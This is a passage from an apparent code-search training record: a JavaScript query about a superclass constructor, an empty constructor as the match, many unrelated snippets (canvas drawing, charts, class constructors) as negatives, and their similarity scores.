// push the scene objects to the scene array\n this.prepareScene();\n\n // call each object's draw method\n this.drawSceneToCanvas();\n }", "componentDidUpdate() {\n this.updateCanvas();\n }", "draw(){\n for(var i=0;i<this.elements.length;i++){\n var e=this.elements[i]\n e.draw()\n }\n }", "_draw () {\r\n\t\tthis.context.clearRect(0, 0, this.canvas.width, this.canvas.height);\r\n\r\n\t\tthis.particles.forEach(particle => {\r\n\t\t\tparticle.draw(this.context);\r\n\t\t});\r\n\t}", "function update() {\n // Canvas update\n\n /**\n * Computation.\n */\n // Updates that depend only on data change\n if (dataChanged) {\n }\n\n /**\n * Draw.\n */\n\n pv.enterUpdate(data, visContainer, enterMessages, updateMessages, null, 'message');\n }", "redraw() {\n this.clear();\n this.beginFill();\n this._out.drawShape(this._properties);\n this.endFill();\n }", "_draw() {\n\n }", "function chart(){\n\t\tthis.init();\n\t}", "_buildChart(shouldRefresh, options) {\n this._createCanvas(options);\n this._drawInterface();\n this.buildChartMethod();\n }", "redraw() {\n this.createBackground();\n this.render();\n }", "ready() {\n super.ready();\n this._chart = new Chart(this.$.chart, this._chartOptions);\n }", "function _draw( pData ) {\n gData = pData;\n gGauge.refresh(gData[0].value, gData[0].max, gData[0].min);\n if(gOptions.heading){\n if(gData[0].headingLink){\n gHeading$.empty().append($(document.createElement(\"a\")).attr(\"href\", gData[0].headingLink).text(gOptions.heading));\n } else {\n gHeading$.text(gOptions.heading);\n }\n\n }\n if(gOptions.description){\n var descriptionText = gOptions.description\n .replace(':MIN:', gData[0].min)\n .replace(':MAX:', gData[0].max)\n .replace(':VALUE:', gData[0].value);\n if(gData[0].descriptionLink){\n gDescription$.empty().append($(document.createElement(\"a\")).attr(\"href\", gData[0].descriptionLink).text(descriptionText));\n } else {\n gDescription$.text(descriptionText);\n }\n }\n } // _draw", "function updateChart(event) {\n var extent = event.selection\n var t1 = 0;\n var t2 = 0;\n update(selectedOption)\n\n if (brush.empty()) {\n t1 = 0;\n t2 = 0;\n tooltip.innerHTML = ('brush dots to show accumulative data');\n } else {\n\n data.forEach(function (d) {\n if (isBrushed(extent, x(d.iyear), y(d.nkill)))\n t1 += d.nkill;\n if (isBrushed(extent, x(d.iyear), y(d.nwound)))\n t2 += d.nwound;\n });\n tooltip.innerHTML = (\"In the selected region, the number of killed victim is \"+ t1+ \", the number of wounded victim is \" + t2 +\"<br />The ratio is \" + (t1/t2).toFixed(2) + \" to 1\");\n //console.log(t)\n scatterPlot.classed(\"selected\", function(d){ return b1 && isBrushed(extent, x(d.iyear), y(d.nkill) ) } )\n scatterPlot2.classed(\"selected\", function(d){ return b2 && isBrushed(extent, x(d.iyear), y(d.nwound) ) } )\n }\n\n\n\n\n }", "function drawChart() \n{\n\tvar data = google.visualization.arrayToDataTable(dataPointsPos);\n\n\tvar options = \n\t{\n\t\ttitle: 'Comments about ' + entity + ' on Twitter during ' + year + '-' + month,\n\t\tchartArea: \n\t\t{\n\t\t\twidth: '60%', \n\t\t\theight: '90%', \n\t\t\tbackgroundColor: \n\t\t\t{\n\t\t\t\t'fill': '#F4F4F4',\n\t\t\t\t'opacity': 100\n\t\t\t}\n\t\t},\n\t\thAxis: \n\t\t{\n\t\t\ttitle: 'Number of Comments',\n\t\t\tminValue: 0,\n\t\t},\n\t\tvAxis: \n\t\t{\n\t\t\ttitle: 'Date'\n\t\t}\n\t\t \n\t};\n\n\tvar chart = new google.visualization.BarChart(document.getElementById('chart_div'));\n\n\tfunction selectHandler() \n\t{\n\t\tvar selectedItem = chart.getSelection()[0];\n\t\tconsole.log(selectedItem);\n\t\t\n\t\tif (selectedItem) \n\t\t{\n\t\t\tvar date = data.getValue(selectedItem.row, 0);\n\n\t\t\tvar comments = getComments(entity, date);\n\n\t\t\t$('#tbodyid').empty();\n\t\t\tfor (var i = 0; i < 10; i++) \n\t\t\t{\n\t\t\t\t$('#tbodyid').append('<tr><td>'+comments[\"pos\"][i]+'</td><td>'+comments[\"neg\"][i]+'</td></tr>');\n\t\t\t}\n\t\t}\n\t}\n\n\tgoogle.visualization.events.addListener(chart, 'select', selectHandler); \n\tchart.draw(data, options);\n}" ]
[ "0.61002517", "0.60693294", "0.6044449", "0.601812", "0.601812", "0.60000837", "0.5945412", "0.5935441", "0.59172916", "0.59121513", "0.58999246", "0.58903676", "0.589006", "0.58432925", "0.5827133", "0.58247435", "0.5780583", "0.5777401", "0.5775657", "0.5775657", "0.5775657", "0.57393074", "0.57223415", "0.5689247", "0.56810284", "0.56801605", "0.567811", "0.56412333", "0.5632368", "0.56173456", "0.56173104", "0.56041247", "0.55947894", "0.5584469", "0.55530465", "0.55474544", "0.5540125", "0.5531376", "0.5525173", "0.5521835", "0.55085945", "0.5506529", "0.5502176", "0.5502176", "0.54844165", "0.54700774", "0.54323494", "0.5431236", "0.54307705", "0.54231083", "0.5422374", "0.5397123", "0.5388363", "0.5388004", "0.53847694", "0.5381691", "0.53815126", "0.538125", "0.53745735", "0.53666925", "0.53586805", "0.5353447", "0.53505266", "0.5337762", "0.53293294", "0.53246224", "0.53239733", "0.5317196", "0.53064555", "0.5304101", "0.5302889", "0.5302889", "0.5288204", "0.52770376", "0.5272251", "0.5272061", "0.52613944", "0.5258954", "0.5256556", "0.52505124", "0.52504", "0.5247283", "0.52427274", "0.5240195", "0.52379555", "0.52379555", "0.52369225", "0.5236219", "0.52350974", "0.5228962", "0.52278215", "0.5219446", "0.521665", "0.52092606", "0.52077204", "0.5191337", "0.5188647", "0.51633066", "0.5150635", "0.5146365" ]
0.6939054
0
this is MySuperClass constructor description.
constructor() { }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "constructor(name,age,major){\n //this is initialize parent class\n super(name,age);\n this.major=major\n }", "constructor(name, age, major = ''){ //we don't have to set default values used in parent class\n super(name, age); //take values from parent Class (super = parent class object)\n this.major = major;\n }", "constructur() {}", "function Class() {\n\t\t\t\t// the super class may not have been constructed using the same technique, we will just call the constructor\n\t\t\t\tif(superConstructor){\n\t\t\t\t\tsuperConstructor.apply(this,arguments);\n\t\t\t\t}\n\t\t\t\tif(ourConstructor){\n\t\t\t\t\tourConstructor.apply(this,arguments);\n\t\t\t\t}\n\t\t\t}", "function SuperclassBare() {}", "function SuperclassBare() {}", "function MyConstructor(){\n\t\tthis.prop1 = \"Maxsuel\";\n\t\tthis.prop2 = \"Storch\";\n\t}", "constructor(name,breed,age) { // then we use the constructor as any regular class\n super(name); // now here's smth new, we should use the super() method and pass the parent class arguments in it, and it should be used b4 the this keyword\n this.breed = breed;\n this.age = age;\n }", "constructor() {\n\t\tsuper(...arguments);\n\t}", "function Super () {}", "function Super () {}", "constructor(name, age, major) { //don't need to set up defaults or define name and age again BUT -\n super(name, age); //have to call the parent constructor function before we can call this.major below - just need to pass them through\n this.major = major;\n }", "constructor (name, age, major) {\n super(name, age); //call the parent constructor function\n this.major = major;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x861cc8a0;\n this.SUBCLASS_OF_ID = 0x3da389aa;\n\n this.shortName = args.shortName;\n }", "function BaseClass() {}", "function BaseClass() {}", "constructor(...args) {\n super(...args);\n \n }", "function Constructor() {}", "function Constructor() {}", "function Constructor() {}", "function _construct()\n\t\t{;\n\t\t}", "function __() { this.constructor = subClass; }", "constructor( ) {}", "constructor (){}", "function SubClass() {\r\n // Call the parent constructor.\r\n parent.apply(this, arguments)\r\n\r\n // Only call initialize in self constructor.\r\n if (this.constructor === SubClass && this.initialize) {\r\n this.initialize.apply(this, arguments)\r\n }\r\n }", "constructor() { super() }", "constructor(){}", "constructor(){}", "constructor(){}", "constructor(){}", "constructor(){}", "constructor(){}", "constructor(){}", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x95d2ac92;\n this.SUBCLASS_OF_ID = 0x8680d126;\n\n this.title = args.title;\n }", "function SuperType() {\n\t \t\t\t\tthis.property = true;\n\t \t\t\t}", "function SuperType(name) { \n\t \t\t\t\tthis.name = name;\n\t \t\t\t}", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x8341ecc0;\n this.SUBCLASS_OF_ID = 0x99d5cb14;\n\n this.offset = args.offset;\n }", "constructor () { super() }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x6410a5d2;\n this.SUBCLASS_OF_ID = 0x7f86e4e5;\n\n this.set = args.set;\n this.cover = args.cover;\n }", "constructor(name, age, weight) {\n //this.name = name;\n super(name); // calling the parent constructor with this argument\n this.age = age;\n this.weight = weight;\n }", "function Constructor() {\n // All construction is actually done in the init method\n if ( this.initialize )\n this.initialize.apply(this, arguments);\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x39f23300;\n this.SUBCLASS_OF_ID = 0x1aca5644;\n\n this.cover = args.cover;\n }", "constructor(args) {\n super(args);\n }", "constructor(args) {\n super(args);\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x3407e51b;\n this.SUBCLASS_OF_ID = 0x7f86e4e5;\n\n this.set = args.set;\n this.covers = args.covers;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x6f635b0d;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x826f8b60;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x6cef8ac7;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x64e475c2;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x9b69e34b;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(a, b, c) {\n super(a, b, c);\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0xb5a1ce5a;\n this.SUBCLASS_OF_ID = 0x8680d126;\n\n this.title = args.title;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x6ed02538;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x9c4e7e8b;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0xce0d37b0;\n this.SUBCLASS_OF_ID = 0x1aca5644;\n\n this.name = args.name;\n }", "constructor(args, opts) {\n super(args, opts);\n}", "__previnit(){}", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x020df5d0;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(name, age, major) {\n super(name, age); //refers to the parent class so we can access the original data as is\n this.major = major;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0xbd610bc9;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(value){\n //\n //Construct the parent.\n super(value);\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x09333afb;\n this.SUBCLASS_OF_ID = 0xf1163490;\n\n this.length = args.length;\n }", "constructor(name, age, salary, greet = 'Hi'){\n super(name, age, greet)\n this.salary = salary\n }", "function ParentConstructor() {\n}", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0xaa2769ed;\n this.SUBCLASS_OF_ID = 0xad0352e8;\n\n this.customMethod = args.customMethod;\n this.params = args.params;\n }", "function SuperType(name){\n this.name = name;\n}", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x4d4dc41e;\n this.SUBCLASS_OF_ID = 0xf1163490;\n\n this.length = args.length;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x28a20571;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(x,y){\n super(x,y);\n }", "constructor(title, author,pages,technology) { // constructor com as informações cosntantes da nova classe\n super(title,author,pages); // informações herdadas da classe superior\n this.technology = technology; // nova atribuição da nova classe.\n\n }", "function SubC() {\n SubC.superconstructor.apply(this, arguments);\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0xfa04579d;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(name, fin) {\n // inheriting from the parent class\n super(fin);\n // updating the property of Cat class\n this.leg = 4;\n this.name = name;\n }", "constructor(name, age, major) {\n super(name, age);\n this.major = major;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x4c4e743f;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x027477b4;\n this.SUBCLASS_OF_ID = 0x7c7b420a;\n\n this.types = args.types;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0xbf0693d4;\n this.SUBCLASS_OF_ID = 0xcf6419dc;\n\n this.offset = args.offset;\n this.length = args.length;\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x0e17e23c;\n this.SUBCLASS_OF_ID = 0x17cc29d9;\n\n this.type = args.type;\n }", "constructor() {\n\t\t// ...\n\t}", "constructor() {\n super(null, null, 0, 0, 0, 0, 0);\n }", "function Class() {\n // use the init method to define your constructor's content.\n if (start && this.init.apply) {\n this.init.apply(this, arguments);\n }\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x5a686d7c;\n this.SUBCLASS_OF_ID = 0x4561736;\n\n this.chat = args.chat;\n }", "constructor () {\n // Run super\n super();\n }", "constructor () {\n // Run super\n super();\n }", "function Class(){\n // All construction is actually done in the init method\n if (!initializing && this.init) {\n\t\t\t\tthis.init.apply(this, arguments);\n\t\t\t}\n }", "function Ctor() {\r\n }", "constructor() {\n super();\n this._init();\n }", "constructor(args) {\n super();\n args = args || {}\n this.CONSTRUCTOR_ID = 0x16115a96;\n this.SUBCLASS_OF_ID = 0x1aca5644;\n\n this.title = args.title;\n this.articles = args.articles;\n }", "function SuperType(name){\nthis.name = name;\nthis.colors = [\"red\", \"blue\", \"green\"];\n}", "constructor(options) {\n super(options); //if the subclass has a constructor,\n // it needs to call super() before using \"this\"\n this.animalProp = options.animalProp;\n }", "constructor() {}", "constructor() {}", "constructor() {}", "constructor() {}", "constructor() {}", "constructor() {}", "constructor() {}", "constructor() {}", "constructor() {}", "constructor() {}", "constructor() {}" ]
[ "0.7349457", "0.73438376", "0.73350793", "0.7294415", "0.7195641", "0.7195641", "0.7167155", "0.71479064", "0.70452917", "0.70151186", "0.70151186", "0.6997591", "0.69930315", "0.69706374", "0.69634265", "0.69634265", "0.69590235", "0.6933316", "0.6933316", "0.6933316", "0.6907016", "0.688917", "0.6880497", "0.68665093", "0.6831471", "0.68302464", "0.6824444", "0.6824444", "0.6824444", "0.6824444", "0.6824444", "0.6824444", "0.6824444", "0.68038076", "0.67948693", "0.67617893", "0.6761669", "0.6754024", "0.67463773", "0.6740865", "0.6736134", "0.67255807", "0.6716956", "0.6716956", "0.67084324", "0.67079484", "0.6695963", "0.6690684", "0.66890055", "0.6686574", "0.6682753", "0.668049", "0.6674292", "0.66739994", "0.6672022", "0.6659688", "0.6655354", "0.6648969", "0.6647302", "0.66422415", "0.66387737", "0.6636515", "0.66318554", "0.6628933", "0.66264164", "0.6621328", "0.66211843", "0.66133696", "0.6606579", "0.66047066", "0.6600014", "0.659601", "0.6593631", "0.6592512", "0.6579906", "0.6577811", "0.65766674", "0.6574401", "0.65739274", "0.6573664", "0.65734804", "0.6572351", "0.6567065", "0.6567065", "0.65636045", "0.6559578", "0.6558705", "0.6556236", "0.6548005", "0.6547073", "0.65467006", "0.65467006", "0.65467006", "0.65467006", "0.65467006", "0.65467006", "0.65467006", "0.65467006", "0.65467006", "0.65467006", "0.65467006" ]
0.0
-1
A PRIVATE PARAMETER? This looks like a bodge to get TypeScript to generate the JavaScript we need, i.e. a property for RacesComponent.
function RacesComponent(racingDataService) { this.racingDataService = racingDataService; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function SomeComponent() {}", "function Component() { }", "constructor(race) {\n this.race = race;\n }", "generateCode() {\n return (\"class Interest extends Component {\\n\\tconstructor(props) {\\n\\t\\tsuper(props);\\n\\t\\tthis.setclr = this.setclr.bind(this);\\n\\t}\\n\\tgetclr() {\\n\\t\\tvar acc = document.getElementsByClassName('accent');\\n\\t\\tfor (var i = 0; i < acc.length; i++) {\\n\\t\\t\\tacc[i].style['background-color'] = sessionStorage.getItem('clr');\\n\\t\\t}\\n\\t}\\n}\");\n }", "cs (...args) {\n return MVC.ComponentJS(...args)\n }", "function PratoDoDiaComponent() {\n }", "static get properties(){return{}}", "static get properties(){return{}}", "function Rebelizer() {\n\n}", "toString()\n {\n //Reurning the string\n return `Vehicle ${this.make} ${this.year}`;\n }", "static _finalizeClass(){// if calling via a subclass that hasn't been generated, pass through to super\nif(!this.hasOwnProperty(JSCompiler_renameProperty(\"generatedFrom\",this))){super._finalizeClass()}else{// interleave properties and observers per behavior and `info`\nif(behaviorList){for(let i=0,b;i<behaviorList.length;i++){b=behaviorList[i];if(b.properties){this.createProperties(b.properties)}if(b.observers){this.createObservers(b.observers,b.properties)}}}if(info.properties){this.createProperties(info.properties)}if(info.observers){this.createObservers(info.observers,info.properties)}// make sure to prepare the element template\nthis._prepareTemplate()}}", "toString()\n {\n //Reurning the string\n return `FourWheeler ${this.make} ${this.year} ${this.type}`;\n }", "get name() {\n \treturn 'Rybu';\n }", "function Car(make, model, color){\n //this = {}\n //this.prototype = Component;\n \n this.make = make;\n this.model = model;\n this.color = color;\n this.mileage = 0;\n\n // this.drive = function (){\n // this.mileage += 1;\n // }\n \n //return this\n}", "static template() { return 'CanvasComponent'; }", "get compilerObject() {\r\n return this._compilerObject;\r\n }", "function ComponentType() {}", "function Vehicle( theYear, theMake, theModel ) {\r\n this.year = theYear; //public\r\n this.make = theMake; // public\r\n this.model = theModel; // public\r\n}", "static get properties() { return {\n _variables: {type:Object} \n}}", "static get properties() {\n name: {\n Type: String\n }\n }", "static get properties() {\n name: {\n Type: String\n }\n }", "toString()\n {\n //Reurning the string\n return `Motorcycle ${this.make} ${this.year} ${this.type}`;\n }", "get name() {\n return \"Rybu\";\n }", "generateComponentList () {\n \n let componentsObj = []\n , match;\n \n while ((match = utils.regExp.componentDeclaration.exec(this.scriptBody)) !== null) {\n componentsObj.push(match);\n }\n\n if (componentsObj && componentsObj.length > 0) {\n let thirdPartyComponentJson = (\n componentsObj[0].length > 1 \n ? componentsObj[0][1] \n : ''\n )\n .split(',')\n .filter(c => c[0] !== 'Q')\n .join(',');\n\n this.updateComponentList(thirdPartyComponentJson);\n\n } else {\n this.createComponentList(); \n }\n }", "get Custom() {}", "function RoomNameGeneratorProto()\n {\n\n }", "function ComponentType(){}", "function CreateVehicle(make, model, year){\n return {make,model, year,\n getFullDescription() {\n return `${this.year} ${this.make} ${this.year}`\n }\n }\n}", "function Compiler() {\n}", "render() {\n const { name, code } = this.props\n return (\n <div>\n <h1>This is a Class Components</h1>\n <p>I am {name}, and I love {code}</p>\n </div>\n )\n }", "get name(){\n return 'whatever-your-name-is-goes-here';\n }", "function Parameter() {}", "GetComponents() {}", "GetComponents() {}", "GetComponents() {}", "GetComponents() {}", "constructor(public firstName: string, public middleInitial: string, public lastName: string) {\n//TODO: Refactor this to use the ES6 template literal notation\nthis.fullName = firstName + \" \" + middleInitial + \" \" + lastName;\n}", "get Name() {\n return this.#name;\n }", "static get component() {\n return Component;\n }", "asJsonPart(...params) {\n return `, \"enabled\": ${JSON.stringify(\n (params[0] == null ? this.enabled : params[0]) ? \"Enabled\" : \"Disabled\"\n )}, \"angleOffset\": ${JSON.stringify(\n params[1] == null ? this.angleOffset : params[1]\n )}, \"eventTag\": ${JSON.stringify(\n params[2] == null ? this.eventTag : params[2]\n )}`;\n }", "function componentProperties() {\n return attachableComponents.map(({ compiled : { Component: { name }}}, i) => \n `this.component${name}${i} = register(new (this.constructor.components.get('${name}')))`\n ).join(\"\\n\");\n }", "static get properties() {\n return {\n ...super.properties,\n glitch: {\n type: Boolean,\n },\n red: {\n type: Boolean,\n reflect: true,\n },\n fadein: {\n type: Boolean,\n reflect: true,\n },\n glitchMax: {\n type: Number,\n attribute: \"glitch-max\",\n },\n glitchDuration: {\n type: Number,\n attribute: \"glitch-duration\",\n },\n };\n }", "function Vehicle(Make, Model, Year, Color) { //is the object constructor.\n this.Vehicle_Make=Make; //“this” keyword indicates the object that is the owner of the code\n this.Vehicle_Model=Model;\n this.Vehicle_Year=Year;\n this.Vehicle_Color=Color;\n}", "get teamName(){\n return (\"Team \" + this.number.toString() + \": \" + this.name)\n }", "function Vehicle(make, model, year){\n this.make = make;\n this.model = model;\n this.year = year;\n this.getFullDescription = function() {\n return `${this.year} ${this.make} ${this.year}`\n }\n}", "compile() {\n console.log('Compiling', name);\n const fields = [];\n for (let [path, entry] of this.paths) {\n if (entry.constructor === PlatformApiGetter) {\n // TODO: nesting!\n fields.push(entry.type);\n }\n }\n this.structType.fields = fields;\n }", "static get properties() {\n return {\n name: {\n type: String\n }\n }\n }", "_genCompIdIfNeeded() {\n if (!this._componentId) {\n this._componentName = this.component;\n this.component = '';\n }\n }", "function renderScript(componet) {\n componet.startFunc = function () {\n this.color = \"#FFFFFF\";\n }\n componet.updateFunc = function () {\n this.obj.position.x += Math.random() * 2 - 1;\n this.obj.position.y += Math.random() * 2 - 1;\n }\n componet.renderFunc = function () {\n\n }\n}", "static get properties() {\n return {\n \"cityProp\": {\n \"name\": \"cityProp\",\n \"type\": \"String\",\n \"value\": \" \",\n \"reflect\": true,\n \"attribute\": true,\n \"observer\": false\n },\n \"inputId\": {\n \"name\": \"inputId\",\n \"type\": \"String\",\n \"value\": \" \",\n \"reflectToAttribute\": false,\n \"observer\": false\n },\n \"width\": {\n \"name\": \"width\",\n \"type\": \"String\",\n \"value\": \" \",\n \"reflectToAttribute\": false,\n \"observer\": false\n }\n}\n;\n }", "introduce() {\n console.log(\n `This is a ${this.make} ${this.model} that was made in ${this.yearMade} and has a top speed of ${this.topSpeed}`\n );\n }", "constructor() {\n this.name = 'Matt'\n }", "constructor(race, name = null) {\n super(to_list(race), name || '<unknown>')\n }", "function Vehicle(Make, Model, Year, Color) { //CONSTRUCTOR FUNCTION\n this.Vehicle_Mak = Make;\n this.Vehicle_Model = Model;\n this.Vehicle_Year = Year;\n this.Vehicle_Color = Color;\n}", "static get properties() {\n return {\n id: {\n attribute: \"mapid\",\n },\n derivation: {\n attribute: \"derivation\",\n type: String,\n },\n };\n }", "constructor() {\n /**\n *\n * @member {String} code\n */\n this.code = undefined\n /**\n *\n * @member {String} status\n */\n this.status = undefined\n /**\n *\n * @member {String} statusDisplay\n */\n this.statusDisplay = undefined\n /**\n *\n * @member {String} placed\n */\n this.placed = undefined\n /**\n *\n * @member {String} guid\n */\n this.guid = undefined\n /**\n * @member {module:models/Price} total\n */\n this.total = undefined\n }", "defineComponents() {\r\n this.components.forEach(Component => {\r\n this[Component.name] = new Component();\r\n });\r\n }", "Compile() {\n\n }", "aboutVehicle() {\n if(this.hasTruckBed) {\n this.hasTruckBed = 'a truck bed'\n }\n console.log(`This vehicle is a ${this.manufacturer} ${type}. It has ${this.numWheels} wheels, ${this.numDoors} doors and ${this.hasTruckBed}.`);\n }", "get otherName(){\n return 'lubega';\n }", "static definition() {\n this.instanceVariables = []\n this.assumes = [ComponentBehaviour]\n this.implements = [ComponentBehaviourProtocol_Implementation, ComponentProtocol]\n this.expects = [ComponentProtocol_Implementation]\n }", "getName() {\nreturn this.fourCCName;\n}", "get name() {\n \treturn 'Stephanie';\n }", "function ComponentType() { }", "constructor(name, year) { // predefiniowana metoda dla tworzenia klasy\n this.name = name;\n this.year = year;\n\n }", "constructor() {\n super(); // loading the parent component methods and properties\n return this.buildComponenent(); // this function should always be called, it returns the object to render\n }", "getName() {\n return `${this.name}`;\n }", "function compileComponentFromRender2(outputCtx,component,render3Ast,reflector,bindingParser,directiveTypeBySel,pipeTypeByName){var name=identifierName(component.type);name||error(\"Cannot resolver the name of \"+component.type);var definitionField=outputCtx.constantPool.propertyNameOf(2/* Component */);var summary=component.toSummary();// Compute the R3ComponentMetadata from the CompileDirectiveMetadata\nvar meta=Object(tslib__WEBPACK_IMPORTED_MODULE_0__[\"__assign\"])({},directiveMetadataFromGlobalMetadata(component,outputCtx,reflector),{selector:component.selector,template:{nodes:render3Ast.nodes},directives:[],pipes:typeMapToExpressionMap(pipeTypeByName,outputCtx),viewQueries:queriesFromGlobalMetadata(component.viewQueries,outputCtx),wrapDirectivesAndPipesInClosure:false,styles:summary.template&&summary.template.styles||EMPTY_ARRAY,encapsulation:summary.template&&summary.template.encapsulation||ViewEncapsulation.Emulated,interpolation:DEFAULT_INTERPOLATION_CONFIG,animations:null,viewProviders:component.viewProviders.length>0?new WrappedNodeExpr(component.viewProviders):null,relativeContextFilePath:'',i18nUseExternalIds:true});var res=compileComponentFromMetadata(meta,outputCtx.constantPool,bindingParser);// Create the partial class to be merged with the actual class.\noutputCtx.statements.push(new ClassStmt(name,null,[new ClassField(definitionField,INFERRED_TYPE,[StmtModifier.Static],res.expression)],[],new ClassMethod(null,[],[]),[]));}", "function FunctionalComponent() {}", "get lineageBuilder() {\n return this.#patternlab.lineageBuilder;\n }", "generateComponent(scriptName) {\n if (!this._store[scriptName]) {\n return null;\n }\n\n let component = Object.create(this._store[scriptName].prototype);\n component._name = scriptName;\n\n // now we need to assign all the instance properties defined:\n let properties = this._store[scriptName].properties.getAll();\n let propertyNames = Object.keys(properties);\n\n if (propertyNames && propertyNames.length > 0) {\n propertyNames.forEach(function (propName) {\n // assign the default value if exists:\n component[propName] = properties[propName].default;\n });\n }\n\n return component;\n }", "function Robot(name, year, owner) {\n this.name = name;\n this.year = year;\n this.owner = owner;\n}", "function projectControl(name) {\n return {name};\n //REMEMBER(put in notes): \"this.something\" belongs to a constructor function; return {} used more in FF.\n}", "get fullName(){\n return this.name + \"something\";\n }", "function LiteralObject() {\r\n}", "get name() {\n return 'Harmandeep Singh';\n }", "get name() {\n return this.#name;\n }", "get parameters(): {} {\n return {\n mean: this.mean,\n mode: this.mode,\n variance: this.variance\n };\n }\n}", "function vehicle () {\n return {\n type : 'vehicle',\n colour : 'blue',\n who : function () {\n console.log(this.type);\n }\n }\n}", "function driverCustProp (name, value)\r\n{\r\n this.name = name;\r\n this.value = value;\r\n} //end driverCustProp", "toString() { return `${super.toString()}/${this.#graduationYear}`; }", "static get properties() {\n return {\n eventMap: {},\n resourceMap: {},\n releasedElements: {},\n toDrawOnProjectRefresh: new Set()\n };\n }", "function HybridCar() {\n}", "function Car() {\n this.color = \"color\";\n}", "getLicensePlate()\n {\n return this.license_plate;\n }", "constructor() {\n /**\n *\n * @member {Boolean} preselected\n */\n this.preselected = undefined\n /**\n *\n * @member {String} referenceType\n */\n this.referenceType = undefined\n /**\n *\n * @member {String} description\n */\n this.description = undefined\n /**\n *\n * @member {Number} quantity\n */\n this.quantity = undefined\n }", "static rendered () {}", "static rendered () {}", "get description () {\n return `${this.name} is a ${this.breed} type of dog`;\n }", "buildCity() {\n return `bcity ${this.id}`;\n }", "get fullName() {\n return `${this.firstName} ${this.middleName} ${this.lastName}`;\n }", "get title() { return \"Local Coding\"}", "get () {\n }", "static finalize(){if(this.hasOwnProperty(JSCompiler_renameProperty(\"finalized\",this))&&this.finalized){return}// finalize any superclasses\nconst superCtor=Object.getPrototypeOf(this);if(\"function\"===typeof superCtor.finalize){superCtor.finalize()}this.finalized=!0;this._ensureClassProperties();// initialize Map populated in observedAttributes\nthis._attributeToPropertyMap=new Map;// make any properties\n// Note, only process \"own\" properties since this element will inherit\n// any properties defined on the superClass, and finalization ensures\n// the entire prototype chain is finalized.\nif(this.hasOwnProperty(JSCompiler_renameProperty(\"properties\",this))){const props=this.properties,propKeys=[...Object.getOwnPropertyNames(props),...(\"function\"===typeof Object.getOwnPropertySymbols?Object.getOwnPropertySymbols(props):[])];// support symbols in properties (IE11 does not support this)\n// This for/of is ok because propKeys is an array\nfor(const p of propKeys){// note, use of `any` is due to TypeSript lack of support for symbol in\n// index types\n// tslint:disable-next-line:no-any no symbol in index\nthis.createProperty(p,props[p])}}}", "aboutVehicle() {\n console.log(`${type}, ${this.manufacturer}, ${this.numWheels}`)\n }", "static get properties() {\n return {\n value: {\n type: String,\n },\n fontSize: {\n type: Number,\n attribute: \"font-size\",\n },\n wordWrap: {\n type: Boolean,\n attribute: \"word-wrap\",\n },\n readOnly: {\n type: Boolean,\n attribute: \"read-only\",\n },\n /**\n * THIS MAKES MULTIPLES EDITORS WORK BECAUSE OF EVENTS\n * DO NOT MESS WITH THIS AND IT HAS TO BE SET\n */\n uniqueKey: {\n type: String,\n 